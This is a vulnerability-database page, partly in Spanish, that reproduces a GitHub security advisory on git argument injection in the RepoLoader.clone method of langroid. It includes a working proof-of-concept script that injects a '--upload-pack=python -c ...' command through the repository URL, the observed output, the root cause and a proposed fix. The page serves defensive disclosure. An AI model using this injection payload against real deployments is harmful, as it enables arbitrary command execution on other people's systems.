llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · langroid

GHSA-MHH2-32XG-4CPG

Git argument injection in langroid RepoLoader.clone executes arbitrary commands

Texto original en inglés · Ver en español

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición2 dDesde la divulgación, 19 nov 2026, 4:27 p. m.
Detección30 minDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
Puede que hoy no pase nada. Puede.Si el fabricante actualiza el aviso, vuelve a mirar.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
04:27 p. m.
05:24 p. m.
04:27 p. m.
04:41 a. m.
04:56 p. m.
05:10 a. m.
05:24 p. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-MHH2-32XG-4CPG divulgada · CVSS 8.8 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`RepoLoader.clone()` in langroid 0.70.0 passes a caller-supplied repository URL to `subprocess.run(["git", "clone", self.url, path])` without a `--` separator or URL validation. A value beginning with `--upload-pack=` is parsed by git as an option whose argument is handed to a shell, so the caller can execute an arbitrary command.

Impact

An attacker who can supply the repository URL to a langroid workflow, for example through a document question-answering tool that accepts a repo URL, can run OS commands with the privileges of the langroid process. The published advisory for this component concerns symlink-based file reads in folder ingestion, not subprocess argument injection, and its fix does not affect this path.

Reproduction

The PoC stubs the GitHub metadata lookup exactly as the project's own tests do, supplies a crafted URL to `RepoLoader.clone()`, and observes a marker file written by the injected command. It uses only a temporary directory and no network. Save as `poc_repo_loader_rce_content.py` and run it with langroid 0.70.0 installed.

import os, tempfile
from pathlib import Path
from unittest import mock

WORK = Path(tempfile.mkdtemp(prefix="langroid-rce-poc-"))
os.chdir(WORK)
MARKER = WORK / "PWNED_MARKER"

from langroid.parsing.repo_loader import RepoLoader

payload = (
    '--upload-pack=python -c "open(r\'%s\',\'w\').write(\'PWNED_BY_LANGROID_POC\')" '
    'https://github.com/langroid/langroid'
) % MARKER

with mock.patch.object(RepoLoader, "_get_repo_with_retry", return_value=None):
    loader = RepoLoader(payload)

dest = str(WORK / "dest")
loader.clone(dest)
print("[*] marker exists :", MARKER.exists())
if MARKER.exists():
    print("[+] marker content:", MARKER.read_text())

Observed output:

[*] url    : --upload-pack=python -c "open(r'C:\Users\towch\AppData\Local\Temp\langroid-rce-poc-76xkfj8_\PWNED_MARKER','w').write('PWNED_BY_LANGROID_POC')" https://github.com/langroid/langroid
[*] calling real RepoLoader.clone(path=...)
Cloning into 'dest'...
fatal: Could not read from remote repository.
2026-11-18 23:21:41 - ERROR - Git clone failed: Command '['git', 'clone', '--upload-pack=python -c ...', ...]' returned non-zero exit status 128.
[*] marker exists : True
[+] marker content: PWNED_BY_LANGROID_POC

The clone fails as expected, but the injected command has already run. A second PoC using `touch PWNED` through the full `load()` path produced the same marker.

Affected versions
  • `langroid` 0.70.0 (current latest release on PyPI): vulnerable
  • Versions 0.30.0 through 0.70.0 contain the unseparated git argument
  • No fixed release is available.
Root cause

`langroid/parsing/repo_loader.py`, function `RepoLoader.clone()` at line 320:

        subprocess.run(["git", "clone", self.url, path], check=True)

`self.url` is assigned directly from the constructor argument at line 145, and `load()` at lines 437 to 440 calls `clone()` when no local clone path is configured. Because the URL occupies the position right after `git clone`, git treats a leading `--upload-pack=` as an option. No `--` end-of-options marker separates options from the repository argument, and no scheme or shape validation is applied to the URL.

Proposed fix

Add the end-of-options separator and validate the URL before use:

-        subprocess.run(["git", "clone", self.url, path], check=True)
+        if not re.match(r"^(https?|git|ssh)://", self.url):
+            raise ValueError("repo URL must use http(s), git or ssh")
+        subprocess.run(["git", "clone", "--", self.url, path], check=True)
References
  • Related advisory GHSA-99m6-3pvg-q66h, symlink-based file reads in RepoLoader folder ingestion: https://github.com/langroid/langroid/security/advisories/GHSA-99m6-3pvg-q66h
  • Git argument injection background: https://git-scm.com/docs/git#Documentation/git.txt---upload-packltcommandgt
Disclosure

Found by Torch4084, November 2026.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
langroid≥ 0.30.0 ≤ 0.70.0
0.30.0
0.69.22
0.70.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypilangroid
Sin parche — — 0.69.22 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/langroid/langroid/security/advisories/GHSA-mhh2-32xg-4cpg

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.